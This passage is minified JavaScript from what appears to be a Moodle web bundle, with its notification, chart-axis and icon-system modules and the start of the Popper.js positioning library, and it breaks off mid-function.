define(&quot;core/notification&quot;,[&quot;exports&quot;,&quot;core/pending&quot;,&quot;core/log&quot;],(function(_exports,_pending,_log){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.saveCancelPromise=_exports.saveCancel=_exports.init=_exports.fetchNotifications=_exports.exception=_exports.default=_exports.confirm=_exports.alert=_exports.addNotification=void 0,_pending=_interopRequireDefault(_pending),_log=_interopRequireDefault(_log);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}let currentContextId=M.cfg.contextid;const notificationTypes={success:&quot;core/notification_success&quot;,info:&quot;core/notification_info&quot;,warning:&quot;core/notification_warning&quot;,error:&quot;core/notification_error&quot;},Selectors={notificationRegion:&quot;#&quot;.concat(&quot;user-notifications&quot;),fallbackRegionParents:[&quot;#region-main&quot;,&#039;[role=&quot;main&quot;]&#039;,&quot;body&quot;]},fetchNotifications=async()=&gt;(await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/ajax&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/ajax&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/ajax&quot;]))).call([{methodname:&quot;core_fetch_notifications&quot;,args:{contextid:currentContextId}}])[0].then(addNotifications);_exports.fetchNotifications=fetchNotifications;const addNotifications=notifications=&gt;{if(!notifications.length)return Promise.resolve();const pendingPromise=new _pending.default(&quot;core/notification:addNotifications&quot;);return notifications.forEach((notification=&gt;renderNotification(notification.template,notification.variables))),pendingPromise.resolve()},addNotification=notification=&gt;{const pendingPromise=new _pending.default(&quot;core/notification:addNotifications&quot;);let template=notificationTypes.error;return(notification={closebutton:!0,announce:!0,type:&quot;error&quot;,...notification}).template?(template=notification.template,delete notification.template):notification.type&amp;&amp;(void 0!==notificationTypes[notification.type]&amp;&amp;(template=notificationTypes[notification.type]),delete notification.type),renderNotification(template,notification).then(pendingPromise.resolve)};_exports.addNotification=addNotification;const renderNotification=async(template,variables)=&gt;{if(void 0===variables.message||!variables.message)return void _log.default.debug(&quot;Notification received without content. Skipping.&quot;);const pendingPromise=new _pending.default(&quot;core/notification:renderNotification&quot;),Templates=await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/templates&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/templates&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/templates&quot;]));Templates.renderForPromise(template,variables).then((_ref=&gt;{let{html:html,js:js=&quot;&quot;}=_ref;Templates.prependNodeContents(getNotificationRegion(),html,js)})).then(pendingPromise.resolve).catch(exception)},getNotificationRegion=()=&gt;document.querySelector(Selectors.notificationRegion),alert=async(title,message,cancelText)=&gt;{var pendingPromise=new _pending.default(&quot;core/notification:alert&quot;);const ModalFactory=await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/modal_factory&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/modal_factory&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/modal_factory&quot;]));return ModalFactory.create({type:ModalFactory.types.ALERT,body:message,title:title,buttons:{cancel:cancelText},removeOnClose:!0}).then((function(modal){return modal.show(),pendingPromise.resolve(),modal}))};_exports.alert=alert;const confirm=(title,question,saveLabel,noLabel,saveCallback,cancelCallback)=&gt;saveCancel(title,question,saveLabel,saveCallback,cancelCallback);_exports.confirm=confirm;const saveCancel=async function(title,question,saveLabel,saveCallback,cancelCallback){let{triggerElement:triggerElement=null}=arguments.length&gt;5&amp;&amp;void 0!==arguments[5]?arguments[5]:{};const pendingPromise=new _pending.default(&quot;core/notification:confirm&quot;),[ModalFactory,ModalEvents]=await Promise.all([&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/modal_factory&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/modal_factory&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/modal_factory&quot;]),&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/modal_events&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/modal_events&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/modal_events&quot;])]);return ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:title,body:question,buttons:{save:saveLabel},removeOnClose:!0}).then((function(modal){return modal.show(),modal.getRoot().on(ModalEvents.save,saveCallback),modal.getRoot().on(ModalEvents.cancel,cancelCallback),modal.getRoot().on(ModalEvents.hidden,(()=&gt;null==triggerElement?void 0:triggerElement.focus())),pendingPromise.resolve(),modal}))};_exports.saveCancel=saveCancel;const saveCancelPromise=function(title,question,saveLabel){let{triggerElement:triggerElement=null}=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:{};return new Promise(((resolve,reject)=&gt;{saveCancel(title,question,saveLabel,resolve,reject,{triggerElement:triggerElement})}))};_exports.saveCancelPromise=saveCancelPromise;const exception=async ex=&gt;{const pendingPromise=new _pending.default(&quot;core/notification:displayException&quot;);if(ex.stack||(ex.stack=&quot;&quot;),ex.debuginfo&amp;&amp;(ex.stack+=ex.debuginfo+&quot;\n&quot;),!ex.backtrace&amp;&amp;ex.stacktrace&amp;&amp;(ex.backtrace=ex.stacktrace),ex.backtrace){ex.stack+=ex.backtrace;const ln=ex.backtrace.match(/line ([^ ]*) of/),fn=ex.backtrace.match(/ of ([^:]*): /);ln&amp;&amp;ln[1]&amp;&amp;(ex.lineNumber=ln[1]),fn&amp;&amp;fn[1]&amp;&amp;(ex.fileName=fn[1],ex.fileName.length&gt;30&amp;&amp;(ex.fileName=&quot;...&quot;+ex.fileName.substr(ex.fileName.length-27)))}void 0===ex.name&amp;&amp;ex.errorcode&amp;&amp;(ex.name=ex.errorcode);(await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;core/yui&quot;],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;core/yui&quot;)):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;core/yui&quot;]))).use(&quot;moodle-core-notification-exception&quot;,(function(){new M.core.exception(ex).show(),pendingPromise.resolve()}))};_exports.exception=exception;const init=(contextId,notificationList)=&gt;{currentContextId=contextId,(()=&gt;{if(getNotificationRegion())return!1;const newRegion=document.createElement(&quot;span&quot;);newRegion.id=&quot;user-notifications&quot;,Selectors.fallbackRegionParents.some((selector=&gt;{const targetRegion=document.querySelector(selector);return!!targetRegion&amp;&amp;(targetRegion.prepend(newRegion),!0)}))})(),addNotifications(notificationList)};_exports.init=init;var _default={init:init,fetchNotifications:fetchNotifications,addNotification:addNotification,alert:alert,confirm:confirm,saveCancel:saveCancel,saveCancelPromise:saveCancelPromise,exception:exception};return _exports.default=_default,_exports.default}));
/**
 * Chart axis.
 *
 * @module core/chart_axis
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/chart_axis&quot;,[],(function(){function Axis(){}return Axis.prototype.POS_DEFAULT=null,Axis.prototype.POS_BOTTOM=&quot;bottom&quot;,Axis.prototype.POS_LEFT=&quot;left&quot;,Axis.prototype.POS_RIGHT=&quot;right&quot;,Axis.prototype.POS_TOP=&quot;top&quot;,Axis.prototype._label=null,Axis.prototype._labels=null,Axis.prototype._max=null,Axis.prototype._min=null,Axis.prototype._position=null,Axis.prototype._stepSize=null,Axis.prototype.create=function(obj){var s=new Axis;return s.setPosition(obj.position),s.setLabel(obj.label),s.setStepSize(obj.stepSize),s.setMax(obj.max),s.setMin(obj.min),s.setLabels(obj.labels),s},Axis.prototype.getLabel=function(){return this._label},Axis.prototype.getLabels=function(){return this._labels},Axis.prototype.getMax=function(){return this._max},Axis.prototype.getMin=function(){return this._min},Axis.prototype.getPosition=function(){return this._position},Axis.prototype.getStepSize=function(){return this._stepSize},Axis.prototype.setLabel=function(label){this._label=label||null},Axis.prototype.setLabels=function(labels){this._labels=labels||null,null===this._labels||null!==this._stepSize||null!==this._min&amp;&amp;0!==this._min||null!==this._max||(this.setStepSize(1),this.setMin(0),this.setMax(labels.length-1))},Axis.prototype.setMax=function(max){this._max=void 0!==max?max:null},Axis.prototype.setMin=function(min){this._min=void 0!==min?min:null},Axis.prototype.setPosition=function(position){if(position!=this.POS_DEFAULT&amp;&amp;position!=this.POS_BOTTOM&amp;&amp;position!=this.POS_LEFT&amp;&amp;position!=this.POS_RIGHT&amp;&amp;position!=this.POS_TOP)throw new Error(&quot;Invalid axis position.&quot;);this._position=position},Axis.prototype.setStepSize=function(stepSize){if(null==stepSize)stepSize=null;else{if(isNaN(Number(stepSize)))throw new Error(&quot;Value for stepSize is not a number.&quot;);stepSize=Number(stepSize)}this._stepSize=stepSize},Axis}));
/**
 * Icon System base module.
 *
 * @module core/icon_system
 * @copyright  2017 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/icon_system&quot;,[&quot;jquery&quot;],(function($){var IconSystem=function(){};return IconSystem.prototype.init=function(){return $.when(this)},IconSystem.prototype.renderIcon=function(key,component,title,template){throw new Error(&quot;Abstract function not implemented.&quot;)},IconSystem.prototype.getTemplateName=function(){throw new Error(&quot;Abstract function not implemented.&quot;)},IconSystem}));
/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.12.6
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
!function(global,factory){&quot;object&quot;==typeof exports&amp;&amp;&quot;undefined&quot;!=typeof module?module.exports=factory():&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;core/popper&quot;,factory):global.Popper=factory()}(window,(function(){for(var isBrowser=&quot;undefined&quot;!=typeof window&amp;&amp;void 0!==window.document,longerTimeoutBrowsers=[&quot;Edge&quot;,&quot;Trident&quot;,&quot;Firefox&quot;],timeoutDuration=0,i=0;i&lt;longerTimeoutBrowsers.length;i+=1)if(isBrowser&amp;&amp;navigator.userAgent.indexOf(longerTimeoutBrowsers[i])&gt;=0){timeoutDuration=1;break}var debounce=isBrowser&amp;&amp;window.Promise?function(fn){var called=!1;return function(){called||(called=!0,Promise.resolve().then((function(){called=!1,fn()})))}}:function(fn){var scheduled=!1;return function(){scheduled||(scheduled=!0,setTimeout((function(){scheduled=!1,fn()}),timeoutDuration))}};function isFunction(functionToCheck){return functionToCheck&amp;&amp;&quot;[object Function]&quot;==={}.toString.call(functionToCheck)}function getStyleComputedProperty(element,property){if(1!==element.nodeType)return[];var css=window.getComputedStyle(element,null);return property?css[property]:css}function getParentNode(element){return&quot;HTML&quot;===element.nodeName?element:element.parentNode||element.host}function getScrollParent(element){if(!element)return window.document.body;switch(element.nodeName){case&quot;HTML&quot;:case&quot;BODY&quot;:return element.ownerDocument.body;case&quot;#document&quot;:return element.body}var _getStyleComputedProp=getStyleComputedProperty(element),overflow=_getStyleComputedProp.overflow,overflowX=_getStyleComputedProp.overflowX,overflowY=_getStyleComputedProp.overflowY;return/(auto|scroll)/.test(overflow+overflowY+overflowX)?element:getScrollParent(getParentNode(element))}function getOffsetParent(element){var offsetParent=element&amp;&amp;element.offsetParent,nodeName=offsetParent&amp;&amp;offsetParent.nodeName;return nodeName&amp;&amp;&quot;BODY&quot;!==nodeName&amp;&amp;&quot;HTML&quot;!==nodeName?-1!==[&quot;TD&quot;,&quot;TABLE&quot;].indexOf(offsetParent.nodeName)&amp;&amp;&quot;static&quot;===getStyleComputedProperty(offsetParent,&quot;position&quot;)?getOffsetParent(offsetParent):offsetParent:element?element.ownerDocument.documentElement:window.document.documentElement}function getRoot(node){return null!==node.parentNode?getRoot(node.parentNode):node}function findCommonOffsetParent(element1,element2){if(!(element1&amp;&amp;element1.nodeType&amp;&amp;element2&amp;&amp;element2.nodeType))return window.document.documentElement;var order=element1.compareDocumentPosition(element2)&amp;Node.DOCUMENT_POSITION_FOLLOWING,start=order?element1:element2,end=order?element2:element1,range=document.createRange();range.setStart(start,0),range.setEnd(end,0);var element,nodeName,commonAncestorContainer=range.commonAncestorContainer;if(element1!==commonAncestorContainer&amp;&amp;element2!==commonAncestorContainer||start.contains(end))return&quot;BODY&quot;===(nodeName=(element=commonAncestorContainer).nodeName)||&quot;HTML&quot;!==nodeName&amp;&amp;getOffsetParent(element.firstElementChild)!==element?getOffsetParent(commonAncestorContainer):commonAncestorContainer;var element1root=getRoot(element1);return element1root.host?findCommonOffsetParent(element1root.host,element2):findCommonOffsetParent(element1,getRoot(element2).host)}function getScroll(element){var side=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:&quot;top&quot;,upperSide=&quot;top&quot;===side?&quot;scrollTop&quot;:&quot;scrollLeft&quot;,nodeName=element.nodeName;if(&quot;BODY&quot;===nodeName||&quot;HTML&quot;===nodeName){var html=element.ownerDocument.documentElement,scrollingElement=element.ownerDocument.scrollingElement||html;return scrollingElement[upperSide]}return element[upperSide]}function getBordersSize(styles,axis){var sideA=&quot;x&quot;===axis?&quot;Left&quot;:&quot;Top&quot;,sideB=&quot;Left&quot;===sideA?&quot;Right&quot;:&quot;Bottom&quot;;return+styles[&quot;border&quot;+sideA+&quot;Width&quot;].split(&quot;px&quot;)[0]+ +styles[&quot;border&quot;+sideB+&quot;Width&quot;].split(&quot;px&quot;)[0]}var isIE10=void 0,isIE10$1=function(){return void 0===isIE10&amp;&amp;(isIE10=-1!==navigator.appVersion.indexOf(&quot;MSIE 10&quot;)),isIE10};function getSize(axis,body,html,computedStyle){return Math.max(body[&quot;offset&quot;+axis],body[&quot;scroll&quot;+axis],html[&quot;client&quot;+axis],html[&quot;offset&quot;+axis],html[&quot;scroll&quot;+axis],isIE10$1()?html[&quot;offset&quot;+axis]+computedStyle[&quot;margin&quot;+(&quot;Height&quot;===axis?&quot;Top&quot;:&quot;Left&quot;)]+computedStyle[&quot;margin&quot;+(&quot;Height&quot;===axis?&quot;Bottom&quot;:&quot;Right&quot;)]:0)}function getWindowSizes(){var body=window.document.body,html=window.document.documentElement,computedStyle=isIE10$1()&amp;&amp;window.getComputedStyle(html);return{height:getSize(&quot;Height&quot;,body,html,computedStyle),width:getSize(&quot;Width&quot;,body,html,computedStyle)}}var classCallCheck=function(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError(&quot;Cannot call a class as a function&quot;)},createClass=function(){function defineProperties(target,props){for(var i=0;i&lt;props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,&quot;value&quot;in descriptor&amp;&amp;(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&amp;&amp;defineProperties(Constructor.prototype,protoProps),staticProps&amp;&amp;defineProperties(Constructor,staticProps),Constructor}}(),defineProperty=function(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj},_extends=Object.assign||function(target){for(var i=1;i&lt;arguments.length;i++){var source=arguments[i];for(var key in source)Object.prototype.hasOwnProperty.call(source,key)&amp;&amp;(target[key]=source[key])}return target};function getClientRect(offsets){return _extends({},offsets,{right:offsets.left+offsets.width,bottom:offsets.top+offsets.height})}function getBoundingClientRect(element){var rect={};if(isIE10$1())try{rect=element.getBoundingClientRect();var scrollTop=getScroll(element,&quot;top&quot;),scrollLeft=getScroll(element,&quot;left&quot;);rect.top+=scrollTop,rect.left+=scrollLeft,rect.bottom+=scrollTop,rect.right+=scrollLeft}catch(err){}else rect=element.getBoundingClientRect();var result={left:rect.left,top:rect.top,width:rect.right-rect.left,height:rect.bottom-rect.top},sizes=&quot;HTML&quot;===element.nodeName?getWindowSizes():{},width=sizes.width||element.clientWidth||result.right-result.left,height=sizes.height||element.clientHeight||result.bottom-result.top,horizScrollbar=element.offsetWidth-width,vertScrollbar=element.offsetHeight-height;if(horizScrollbar||vertScrollbar){var styles=getStyleComputedProperty(element);horizScrollbar-=getBordersSize(styles,&quot;x&quot;),vertScrollbar-=getBordersSize(styles,&quot;y&quot;),result.width-=horizScrollbar,result.height-=vertScrollbar}return getClientRect(result)}function getOffsetRectRelativeToArbitraryNode(children,parent){var isIE10=isIE10$1(),isHTML=&quot;HTML&quot;===parent.nodeName,childrenRect=getBoundingClientRect(children),parentRect=getBoundingClientRect(parent),scrollParent=getScrollParent(children),styles=getStyleComputedProperty(parent),borderTopWidth=+styles.borderTopWidth.split(&quot;px&quot;)[0],borderLeftWidth=+styles.borderLeftWidth.split(&quot;px&quot;)[0],offsets=getClientRect({top:childrenRect.top-parentRect.top-borderTopWidth,left:childrenRect.left-parentRect.left-borderLeftWidth,width:childrenRect.width,height:childrenRect.height});if(offsets.marginTop=0,offsets.marginLeft=0,!isIE10&amp;&amp;isHTML){var marginTop=+styles.marginTop.split(&quot;px&quot;)[0],marginLeft=+styles.marginLeft.split(&quot;px&quot;)[0];offsets.top-=borderTopWidth-marginTop,offsets.bottom-=borderTopWidth-marginTop,offsets.left-=borderLeftWidth-marginLeft,offsets.right-=borderLeftWidth-marginLeft,offsets.marginTop=marginTop,offsets.marginLeft=marginLeft}return(isIE10?parent.contains(scrollParent):parent===scrollParent&amp;&amp;&quot;BODY&quot;!==scrollParent.nodeName)&amp;&amp;(offsets=function(rect,element){var subtract=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2],scrollTop=getScroll(element,&quot;top&quot;),scrollLeft=getScroll(element,&quot;left&quot;),modifier=subtract?-1:1;return rect.top+=scrollTop*modifier,rect.bottom+=scrollTop*modifier,rect.left+=scrollLeft*modifier,rect.right+=scrollLeft*modifier,rect}(offsets,parent)),offsets}function isFixed(element){var nodeName=element.nodeName;return&quot;BODY&quot;!==nodeName&amp;&amp;&quot;HTML&quot;!==nodeName&amp;&amp;(&quot;fixed&quot;===getStyleComputedProperty(element,&quot;position&quot;)||isFixed(getParentNode(element)))}function getBoundaries(popper,reference,padding,boundariesElement){var boundaries={top:0,left:0},offsetParent=findCommonOffsetParent(popper,reference);if(&quot;viewport&quot;===boundariesElement)boundaries=function(element){var html=element.ownerDocument.documentElement,relativeOffset=getOffsetRectRelativeToArbitraryNode(element,html),width=Math.max(html.clientWidth,window.innerWidth||0),height=Math.max(html.clientHeight,window.innerHeight||0),scrollTop=getScroll(html),scrollLeft=getScroll(html,&quot;left&quot;);return getClientRect({top:scrollTop-relativeOffset.top+relativeOffset.marginTop,left:scrollLeft-relativeOffset.left+relativeOffset.marginLeft,width:width,height:height})}(offsetParent);else{var boundariesNode=void 0;&quot;scrollParent&quot;===boundariesElement?&quot;BODY&quot;===(boundariesNode=getScrollParent(getParentNode(popper))).nodeName&amp;&amp;(boundariesNode=popper.ownerDocument.documentElement):boundariesNode=&quot;window&quot;===boundariesElement?popper.ownerDocument.documentElement:boundariesElement;var offsets=getOffsetRectRelativeToArbitraryNode(boundariesNode,offsetParent);if(&quot;HTML&quot;!==boundariesNode.nodeName||isFixed(offsetParent))boundaries=offsets;else{var _getWindowSizes=getWindowSizes(),height=_getWindowSizes.height,width=_getWindowSizes.width;boundaries.top+=offsets.top-offsets.marginTop,boundaries.bottom=height+offsets.top,boundaries.left+=offsets.left-offsets.marginLeft,boundaries.right=width+offsets.left}}return boundaries.left+=padding,boundaries.top+=padding,boundaries.right-=padding,boundaries.bottom-=padding,boundaries}function getArea(_ref){return _ref.width*_ref.height}function computeAutoPlacement(placement,refRect,popper,reference,boundariesElement){var padding=arguments.length&gt;5&amp;&amp;void 0!==arguments[5]?arguments[5]:0;if(-1===placement.indexOf(&quot;auto&quot;))return placement;var boundaries=getBoundaries(popper,reference,padding,boundariesElement),rects={top:{width:boundaries.width,height:refRect.top-boundaries.top},right:{width:boundaries.right-refRect.right,height:boundaries.height},bottom:{width:boundaries.width,height:boundaries.bottom-refRect.bottom},left:{width:refRect.left-boundaries.left,height:boundaries.height}},sortedAreas=Object.keys(rects).map((function(key){return _extends({key:key},rects[key],{area:getArea(rects[key])})})).sort((function(a,b){return b.area-a.area})),filteredAreas=sortedAreas.filter((function(_ref2){var width=_ref2.width,height=_ref2.height;return width&gt;=popper.clientWidth&amp;&amp;height&gt;=popper.clientHeight})),computedPlacement=filteredAreas.length&gt;0?filteredAreas[0].key:sortedAreas[0].key,variation=placement.split(&quot;-&quot;)[1];return computedPlacement+(variation?&quot;-&quot;+variation:&quot;&quot;)}function getReferenceOffsets(state,popper,reference){return getOffsetRectRelativeToArbitraryNode(reference,findCommonOffsetParent(popper,reference))}function getOuterSizes(element){var styles=window.getComputedStyle(element),x=parseFloat(styles.marginTop)+parseFloat(styles.marginBottom),y=parseFloat(styles.marginLeft)+parseFloat(styles.marginRight);return{width:element.offsetWidth+y,height:element.offsetHeight+x}}function getOppositePlacement(placement){var hash={left:&quot;right&quot;,right:&quot;left&quot;,bottom:&quot;top&quot;,top:&quot;bottom&quot;};return placement.replace(/left|right|bottom|top/g,(function(matched){return hash[matched]}))}function getPopperOffsets(popper,referenceOffsets,placement){placement=placement.split(&quot;-&quot;)[0];var popperRect=getOuterSizes(popper),popperOffsets={width:popperRect.width,height:popperRect.height},isHoriz=-1!==[&quot;right&quot;,&quot;left&quot;].indexOf(placement),mainSide=isHoriz?&quot;top&quot;:&quot;left&quot;,secondarySide=isHoriz?&quot;left&quot;:&quot;top&quot;,measurement=isHoriz?&quot;height&quot;:&quot;width&quot;,secondaryMeasurement=isHoriz?&quot;width&quot;:&quot;height&quot;;return popperOffsets[mainSide]=referenceOffsets[mainSide]+referenceOffsets[measurement]/2-popperRect[measurement]/2,popperOffsets[secondarySide]=placement===secondarySide?referenceOffsets[secondarySide]-popperRect[secondaryMeasurement]:referenceOffsets[getOppositePlacement(secondarySide)],popperOffsets}function find(arr,check){return Array.prototype.find?arr.find(check):arr.filter(check)[0]}function runModifiers(modifiers,data,ends){return(void 0===ends?modifiers:modifiers.slice(0,function(arr,prop,value){if(Array.prototype.findIndex)return arr.findIndex((function(cur){return cur[prop]===value}));var match=find(arr,(function(obj){return obj[prop]===value}));return arr.indexOf(match)}(modifiers,&quot;name&quot;,ends))).forEach((function(modifier){modifier.function&amp;&amp;console.warn(&quot;`modifier.function` is deprecated, use `modifier.fn`!&quot;);var fn=modifier.function||modifier.fn;modifier.enabled&amp;&amp;isFunction(fn)&amp;&amp;(data.offsets.popper=getClientRect(data.offsets.popper),data.offsets.reference=getClientRect(data.offsets.reference),data=fn(data,modifier))})),data}function update(){if(!this.state.isDestroyed){var data={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};data.offsets.reference=getReferenceOffsets(this.state,this.popper,this.reference),data.placement=computeAutoPlacement(this.options.placement,data.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),data.originalPlacement=data.placement,data.offsets.popper=getPopperOffsets(this.popper,data.offsets.reference,data.placement),data.offsets.popper.position=&quot;absolute&quot;,data=runModifiers(this.modifiers,data),this.state.isCreated?this.options.onUpdate(data):(this.state.isCreated=!0,this.options.onCreate(data))}}function isModifierEnabled(modifiers,modifierName){return modifiers.some((function(_ref){var name=_ref.name;return _ref.enabled&amp;&amp;name===modifierName}))}function getSupportedPropertyName(property){for(var prefixes=[!1,&quot;ms&quot;,&quot;Webkit&quot;,&quot;Moz&quot;,&quot;O&quot;],upperProp=property.charAt(0).toUpperCase()+property.slice(1),i=0;i&lt;prefixes.length-1;i++){var prefix=prefixes[i],toCheck=prefix?&quot;&quot;+prefix+upperProp:property;if(void 0!==window.document.body.style[toCheck])return toCheck}return null}function destroy(){return this.state.isDestroyed=!0,isModifierEnabled(this.modifiers,&quot;applyStyle&quot;)&amp;&amp;(this.popper.removeAttribute(&quot;x-placement&quot;),this.popper.style.left=&quot;&quot;,this.popper.style.position=&quot;&quot;,this.popper.style.top=&quot;&quot;,this.popper.style[getSupportedPropertyName(&quot;transform&quot;)]=&quot;&quot;),this.disableEventListeners(),this.options.removeOnDestroy&amp;&amp;this.popper.parentNode.removeChild(this.popper),this}function getWindow(element){var ownerDocument=element.ownerDocument;return ownerDocument?ownerDocument.defaultView:window}function attachToScrollParents(scrollParent,event,callback,scrollParents){var isBody=&quot;BODY&quot;===scrollParent.nodeName,target=isBody?scrollParent.ownerDocument.defaultView:scrollParent;target.addEventListener(event,callback,{passive:!0}),isBody||attachToScrollParents(getScrollParent(target.parentNode),event,callback,scrollParents),scrollParents.push(target)}function setupEventListeners(reference,options,state,updateBound){state.updateBound=updateBound,getWindow(reference).addEventListener(&quot;resize&quot;,state.updateBound,{passive:!0});var scrollElement=getScrollParent(reference);return attachToScrollParents(scrollElement,&quot;scroll&quot;,state.updateBound,state.scrollParents),state.scrollElement=scrollElement,state.eventsEnabled=!0,state}function enableEventListeners(){this.state.eventsEnabled||(this.state=setupEventListeners(this.reference,this.options,this.state,this.scheduleUpdate))}function disableEventListeners(){var reference,state;this.state.eventsEnabled&amp;&amp;(window.cancelAnimationFrame(this.scheduleUpdate),this.state=(reference=this.reference,state=this.state,getWindow(reference).removeEventListener(&quot;resize&quot;,state.updateBound),state.scrollParents.forEach((function(target){target.removeEventListener(&quot;scroll&quot;,state.updateBound)})),state.updateBound=null,state.scrollParents=[],state.scrollElement=null,state.eventsEnabled=!1,state))}function isNumeric(n){return&quot;&quot;!==n&amp;&amp;!isNaN(parseFloat(n))&amp;&amp;isFinite(n)}function setStyles(element,styles){Object.keys(styles).forEach((function(prop){var unit=&quot;&quot;;-1!==[&quot;width&quot;,&quot;height&quot;,&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;].indexOf(prop)&amp;&amp;isNumeric(styles[prop])&amp;&amp;(unit=&quot;px&quot;),element.style[prop]=styles[prop]+unit}))}function isModifierRequired(modifiers,requestingName,requestedName){var requesting=find(modifiers,(function(_ref){return _ref.name===requestingName})),isRequired=!!requesting&amp;&amp;modifiers.some((function(modifier){return 